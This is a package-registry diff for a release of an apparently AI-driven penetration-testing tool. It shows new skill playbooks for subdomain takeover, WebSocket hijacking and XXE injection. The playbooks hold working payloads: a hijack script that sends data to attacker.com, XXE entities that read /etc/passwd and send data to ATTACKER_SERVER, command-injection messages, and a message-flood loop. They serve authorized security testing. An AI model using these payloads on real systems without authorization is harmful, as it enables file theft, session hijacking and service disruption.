@cyberstrike-io/cyberstrike 1.1.13 → 1.1.14-beta.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/hackbrowser-worker.js +107 -16
- package/package.json +12 -12
- package/postinstall.mjs +18 -5
- package/skill/attack-cache-poison/SKILL.md +124 -0
- package/skill/attack-cors/SKILL.md +116 -0
- package/skill/attack-graphql/SKILL.md +121 -0
- package/skill/attack-host-header/SKILL.md +106 -0
- package/skill/attack-idor-automation/SKILL.md +150 -0
- package/skill/attack-jwt/SKILL.md +122 -0
- package/skill/attack-open-redirect/SKILL.md +129 -0
- package/skill/attack-prototype-pollution/SKILL.md +132 -0
- package/skill/attack-race-condition/SKILL.md +125 -0
- package/skill/attack-rate-limit-bypass/SKILL.md +146 -0
- package/skill/attack-request-smuggling/SKILL.md +164 -0
- package/skill/attack-ssrf/SKILL.md +132 -0
- package/skill/attack-ssti/SKILL.md +126 -0
- package/skill/attack-subdomain-takeover/SKILL.md +114 -0
- package/skill/attack-websocket/SKILL.md +136 -0
- package/skill/attack-xxe/SKILL.md +144 -0
- package/web/assets/{ghostty-web-BMDtVBzn.js → ghostty-web-nFGAkzUN.js} +1 -1
- package/web/assets/{home-zQrDqSYd.js → home-C1IdTiFP.js} +1 -1
- package/web/assets/{index-DnHYEPTe.js → index-D2hzTwHf.js} +41 -41
- package/web/assets/{session-DNtIkF3a.js → session-qd_85VE9.js} +35 -35
- package/web/index.html +1 -1
|
@@ -0,0 +1,114 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-subdomain-takeover
|
|
3
|
+
description: "Subdomain takeover — CNAME detection, cloud service fingerprinting, dangling DNS exploitation"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- subdomain-takeover
|
|
9
|
+
- dns
|
|
10
|
+
- cloud
|
|
11
|
+
- web
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- aws
|
|
15
|
+
- azure
|
|
16
|
+
- gcp
|
|
17
|
+
- web
|
|
18
|
+
cwe_ids:
|
|
19
|
+
- CWE-284
|
|
20
|
+
chains_with: []
|
|
21
|
+
prerequisites: []
|
|
22
|
+
severity_boost: {}
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
# Subdomain Takeover
|
|
26
|
+
|
|
27
|
+
## Objective
|
|
28
|
+
|
|
29
|
+
Identify subdomains with dangling DNS records (CNAME pointing to unclaimed cloud resources) and claim them to serve attacker content.
|
|
30
|
+
|
|
31
|
+
## Testing Methodology
|
|
32
|
+
|
|
33
|
+
### Phase 1: Subdomain Enumeration
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# Passive enumeration
|
|
37
|
+
subfinder -d TARGET.com -silent | tee subdomains.txt
|
|
38
|
+
|
|
39
|
+
# Certificate transparency
|
|
40
|
+
curl -s "https://crt.sh/?q=%25.TARGET.com&output=json" | jq -r '.[].name_value' | sort -u >> subdomains.txt
|
|
41
|
+
|
|
42
|
+
# DNS brute force
|
|
43
|
+
puredns bruteforce wordlist.txt TARGET.com -r resolvers.txt >> subdomains.txt
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
### Phase 2: Automated Takeover Check
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
# Check all subdomains for takeover
|
|
50
|
+
attack_script subdomain_takeover subdomains.txt --json-output
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
Checks 20 cloud services:
|
|
54
|
+
- GitHub Pages, Heroku, Shopify, Tumblr, WordPress
|
|
55
|
+
- AWS S3, AWS Elastic Beanstalk, Azure Web Apps
|
|
56
|
+
- Netlify, Vercel, Fastly, Fly.io
|
|
57
|
+
- Bitbucket, Surge, Ghost, Pantheon
|
|
58
|
+
- Zendesk, README.io, Cargo, Feedpress
|
|
59
|
+
|
|
60
|
+
### Phase 3: Manual CNAME Verification
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
# Check CNAME records
|
|
64
|
+
dig +short CNAME subdomain.TARGET.com
|
|
65
|
+
|
|
66
|
+
# Verify the pointed service is unclaimed
|
|
67
|
+
curl -s https://subdomain.TARGET.com
|
|
68
|
+
# Look for: "There isn't a GitHub Pages site here"
|
|
69
|
+
# "No such app" (Heroku)
|
|
70
|
+
# "NoSuchBucket" (S3)
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### Phase 4: Cloud Storage Enumeration
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Check related cloud buckets
|
|
77
|
+
attack_script cloud_storage_enum TARGET --json-output
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### Phase 5: Claim & Verify
|
|
81
|
+
|
|
82
|
+
After confirming a dangling CNAME:
|
|
83
|
+
1. Create the resource on the target service (e.g., GitHub Pages repo, S3 bucket)
|
|
84
|
+
2. Serve a harmless proof page (e.g., `cyberstrike-takeover-proof.html`)
|
|
85
|
+
3. Verify it's accessible at `subdomain.TARGET.com`
|
|
86
|
+
|
|
87
|
+
## What Constitutes a Finding
|
|
88
|
+
|
|
89
|
+
| Finding | Severity |
|
|
90
|
+
|---------|----------|
|
|
91
|
+
| Subdomain takeover — attacker controls content | High (P2) |
|
|
92
|
+
| S3 bucket public write access | Critical (P1) |
|
|
93
|
+
| S3 bucket listing enabled | High (P2) |
|
|
94
|
+
| Dangling CNAME (service unreachable) | Medium (P3) |
|
|
95
|
+
| Cloud storage public read | Medium (P3) |
|
|
96
|
+
|
|
97
|
+
## Evidence Requirements
|
|
98
|
+
|
|
99
|
+
- Subdomain with dangling CNAME record
|
|
100
|
+
- Target cloud service identified
|
|
101
|
+
- Service fingerprint (error message)
|
|
102
|
+
- For takeover: proof of content hosting on subdomain
|
|
103
|
+
- For buckets: listing output or write proof
|
|
104
|
+
|
|
105
|
+
## Tools
|
|
106
|
+
|
|
107
|
+
- `attack_script subdomain_takeover` — automated CNAME + fingerprint checker
|
|
108
|
+
- `attack_script cloud_storage_enum` — S3/Azure/GCP enumeration
|
|
109
|
+
- `subfinder`, `puredns` — subdomain enumeration
|
|
110
|
+
|
|
111
|
+
## References
|
|
112
|
+
|
|
113
|
+
- [Can I Take Over XYZ](https://github.com/EdOverflow/can-i-take-over-xyz)
|
|
114
|
+
- [HackerOne: Subdomain Takeover](https://www.hackerone.com/vulnerability-management/guide-subdomain-takeovers)
|
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-websocket
|
|
3
|
+
description: "WebSocket security testing — CSWSH, message injection, auth bypass, origin validation"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- websocket
|
|
9
|
+
- web
|
|
10
|
+
- cswsh
|
|
11
|
+
- injection
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
cwe_ids:
|
|
16
|
+
- CWE-1385
|
|
17
|
+
- CWE-346
|
|
18
|
+
chains_with:
|
|
19
|
+
- attack-cors
|
|
20
|
+
prerequisites: []
|
|
21
|
+
severity_boost:
|
|
22
|
+
attack-cors: "WebSocket + CORS bypass = cross-origin data theft via WS"
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
# WebSocket Security Testing
|
|
26
|
+
|
|
27
|
+
## Objective
|
|
28
|
+
|
|
29
|
+
Exploit WebSocket implementation flaws including cross-site WebSocket hijacking (CSWSH), message injection, and authentication bypass.
|
|
30
|
+
|
|
31
|
+
## Testing Methodology
|
|
32
|
+
|
|
33
|
+
### Phase 1: Identify WebSocket Endpoints
|
|
34
|
+
|
|
35
|
+
```bash
|
|
36
|
+
# Look for WebSocket upgrade
|
|
37
|
+
curl -s -D- https://TARGET/ -H "Upgrade: websocket" -H "Connection: Upgrade"
|
|
38
|
+
|
|
39
|
+
# Check common paths
|
|
40
|
+
for path in /ws /socket /websocket /api/ws /chat /live /realtime; do
|
|
41
|
+
curl -s -D- "https://TARGET$path" \
|
|
42
|
+
-H "Upgrade: websocket" \
|
|
43
|
+
-H "Connection: Upgrade" \
|
|
44
|
+
-H "Sec-WebSocket-Version: 13" \
|
|
45
|
+
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" 2>/dev/null | head -1
|
|
46
|
+
done
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### Phase 2: Cross-Site WebSocket Hijacking (CSWSH)
|
|
50
|
+
|
|
51
|
+
Check if Origin header is validated:
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
# Connect with evil origin
|
|
55
|
+
websocat -H "Origin: https://evil.com" "wss://TARGET/ws"
|
|
56
|
+
|
|
57
|
+
# If connection succeeds with evil.com origin → CSWSH is possible
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
**PoC HTML:**
|
|
61
|
+
```html
|
|
62
|
+
<script>
|
|
63
|
+
var ws = new WebSocket('wss://TARGET/ws');
|
|
64
|
+
ws.onmessage = function(e) {
|
|
65
|
+
fetch('https://attacker.com/log?data=' + btoa(e.data));
|
|
66
|
+
};
|
|
67
|
+
ws.onopen = function() {
|
|
68
|
+
ws.send(JSON.stringify({action: 'get_profile'}));
|
|
69
|
+
};
|
|
70
|
+
</script>
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
### Phase 3: Authentication Testing
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Connect without auth token
|
|
77
|
+
websocat "wss://TARGET/ws"
|
|
78
|
+
|
|
79
|
+
# Test token reuse after logout
|
|
80
|
+
websocat -H "Cookie: session=EXPIRED_TOKEN" "wss://TARGET/ws"
|
|
81
|
+
|
|
82
|
+
# Connect with another user's token
|
|
83
|
+
websocat -H "Cookie: session=VICTIM_TOKEN" "wss://TARGET/ws"
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Phase 4: Message Injection
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# Test for SQL injection via WebSocket message
|
|
90
|
+
websocat "wss://TARGET/ws" <<< '{"action":"search","query":"test\" OR 1=1--"}'
|
|
91
|
+
|
|
92
|
+
# XSS via WebSocket message (if rendered in other clients)
|
|
93
|
+
websocat "wss://TARGET/ws" <<< '{"action":"chat","message":"<img src=x onerror=alert(1)>"}'
|
|
94
|
+
|
|
95
|
+
# Command injection
|
|
96
|
+
websocat "wss://TARGET/ws" <<< '{"action":"exec","cmd":"id; cat /etc/passwd"}'
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
### Phase 5: Rate Limiting / DoS
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
# Rapid message sending
|
|
103
|
+
for i in $(seq 1 1000); do
|
|
104
|
+
echo '{"action":"ping"}'
|
|
105
|
+
done | websocat "wss://TARGET/ws"
|
|
106
|
+
|
|
107
|
+
# Large message
|
|
108
|
+
python3 -c "print('{\"data\":\"' + 'A'*1000000 + '\"}')" | websocat "wss://TARGET/ws"
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
## What Constitutes a Finding
|
|
112
|
+
|
|
113
|
+
| Finding | Severity |
|
|
114
|
+
|---------|----------|
|
|
115
|
+
| CSWSH — cross-site WebSocket hijacking | High (P2) |
|
|
116
|
+
| No authentication on WebSocket | High (P2) |
|
|
117
|
+
| SQL/command injection via WS message | Critical (P1) |
|
|
118
|
+
| Stored XSS via WS message | High (P2) |
|
|
119
|
+
| Session not invalidated after logout | Medium (P3) |
|
|
120
|
+
|
|
121
|
+
## Evidence Requirements
|
|
122
|
+
|
|
123
|
+
- WebSocket endpoint URL
|
|
124
|
+
- Connection with evil Origin (for CSWSH)
|
|
125
|
+
- Messages sent and received
|
|
126
|
+
- Proof of unauthorized data access or injection
|
|
127
|
+
|
|
128
|
+
## Tools
|
|
129
|
+
|
|
130
|
+
- `websocat` (external) — WebSocket CLI client
|
|
131
|
+
- Browser DevTools → Network → WS tab
|
|
132
|
+
|
|
133
|
+
## References
|
|
134
|
+
|
|
135
|
+
- [PortSwigger: WebSocket Vulnerabilities](https://portswigger.net/web-security/websockets)
|
|
136
|
+
- [OWASP: WebSocket Security](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets)
|
|
@@ -0,0 +1,144 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: attack-xxe
|
|
3
|
+
description: "XML External Entity injection — file read, SSRF, data exfiltration via out-of-band XML parsing"
|
|
4
|
+
category: "web-application"
|
|
5
|
+
version: "1.0"
|
|
6
|
+
author: "cyberstrike-official"
|
|
7
|
+
tags:
|
|
8
|
+
- xxe
|
|
9
|
+
- xml
|
|
10
|
+
- injection
|
|
11
|
+
- web
|
|
12
|
+
- attack
|
|
13
|
+
tech_stack:
|
|
14
|
+
- web
|
|
15
|
+
- java
|
|
16
|
+
- php
|
|
17
|
+
- dotnet
|
|
18
|
+
cwe_ids:
|
|
19
|
+
- CWE-611
|
|
20
|
+
- CWE-827
|
|
21
|
+
chains_with:
|
|
22
|
+
- attack-ssrf
|
|
23
|
+
prerequisites: []
|
|
24
|
+
severity_boost:
|
|
25
|
+
attack-ssrf: "XXE + SSRF = internal network access via XML parser"
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
# XML External Entity (XXE) Injection
|
|
29
|
+
|
|
30
|
+
## Objective
|
|
31
|
+
|
|
32
|
+
Exploit XML parsing vulnerabilities to read local files, perform SSRF, or exfiltrate data via out-of-band channels.
|
|
33
|
+
|
|
34
|
+
## Testing Methodology
|
|
35
|
+
|
|
36
|
+
### Phase 1: Identify XML Processing
|
|
37
|
+
|
|
38
|
+
Look for endpoints accepting:
|
|
39
|
+
- `Content-Type: application/xml` or `text/xml`
|
|
40
|
+
- SOAP endpoints (`.asmx`, `.wsdl`)
|
|
41
|
+
- File upload accepting SVG, DOCX, XLSX
|
|
42
|
+
- RSS/Atom feed processing
|
|
43
|
+
- SAML authentication
|
|
44
|
+
|
|
45
|
+
### Phase 2: In-Band XXE (File Read)
|
|
46
|
+
|
|
47
|
+
```xml
|
|
48
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
49
|
+
<!DOCTYPE foo [
|
|
50
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
51
|
+
]>
|
|
52
|
+
<root>&xxe;</root>
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**Windows targets:**
|
|
56
|
+
```xml
|
|
57
|
+
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### Phase 3: Blind XXE (Out-of-Band)
|
|
61
|
+
|
|
62
|
+
```xml
|
|
63
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
64
|
+
<!DOCTYPE foo [
|
|
65
|
+
<!ENTITY % xxe SYSTEM "http://ATTACKER_SERVER/xxe.dtd">
|
|
66
|
+
%xxe;
|
|
67
|
+
]>
|
|
68
|
+
<root>test</root>
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
**Hosted DTD (xxe.dtd):**
|
|
72
|
+
```xml
|
|
73
|
+
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
|
74
|
+
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER_SERVER/?data=%file;'>">
|
|
75
|
+
%eval;
|
|
76
|
+
%exfil;
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
Use the SSRF listener for callback detection:
|
|
80
|
+
```bash
|
|
81
|
+
attack_script ssrf_listener -p 8888 -o xxe_hits.json
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### Phase 4: XXE via File Upload
|
|
85
|
+
|
|
86
|
+
**SVG:**
|
|
87
|
+
```xml
|
|
88
|
+
<?xml version="1.0"?>
|
|
89
|
+
<!DOCTYPE svg [
|
|
90
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
91
|
+
]>
|
|
92
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
93
|
+
<text>&xxe;</text>
|
|
94
|
+
</svg>
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
**DOCX:** Modify `[Content_Types].xml` or `word/document.xml` inside the ZIP.
|
|
98
|
+
|
|
99
|
+
### Phase 5: Content-Type Manipulation
|
|
100
|
+
|
|
101
|
+
```bash
|
|
102
|
+
# Switch JSON endpoint to XML
|
|
103
|
+
curl -X POST https://TARGET/api/data \
|
|
104
|
+
-H "Content-Type: application/xml" \
|
|
105
|
+
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### Phase 6: Parameter Entity Injection
|
|
109
|
+
|
|
110
|
+
```xml
|
|
111
|
+
<?xml version="1.0"?>
|
|
112
|
+
<!DOCTYPE foo [
|
|
113
|
+
<!ENTITY % a "<!ENTITY xxe SYSTEM 'file:///etc/passwd'>">
|
|
114
|
+
%a;
|
|
115
|
+
]>
|
|
116
|
+
<root>&xxe;</root>
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
## What Constitutes a Finding
|
|
120
|
+
|
|
121
|
+
| Finding | Severity |
|
|
122
|
+
|---------|----------|
|
|
123
|
+
| File contents read (e.g., /etc/passwd) | Critical (P1) |
|
|
124
|
+
| Out-of-band DNS/HTTP callback | High (P2) |
|
|
125
|
+
| SSRF via XXE | High (P2) |
|
|
126
|
+
| Denial of Service (billion laughs) | Medium (P3) |
|
|
127
|
+
| Error-based file path disclosure | Low (P4) |
|
|
128
|
+
|
|
129
|
+
## Evidence Requirements
|
|
130
|
+
|
|
131
|
+
- XML payload sent
|
|
132
|
+
- Response containing file contents or error
|
|
133
|
+
- For blind XXE: OOB interaction evidence (DNS/HTTP callback)
|
|
134
|
+
- Server type and parser identified
|
|
135
|
+
|
|
136
|
+
## Tools
|
|
137
|
+
|
|
138
|
+
- `attack_script ssrf_listener` — OOB callback listener for blind XXE
|
|
139
|
+
- `attack_script file_upload_tester` — SVG XXE via upload
|
|
140
|
+
|
|
141
|
+
## References
|
|
142
|
+
|
|
143
|
+
- [PortSwigger: XXE](https://portswigger.net/web-security/xxe)
|
|
144
|
+
- [OWASP: XXE Prevention](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)
|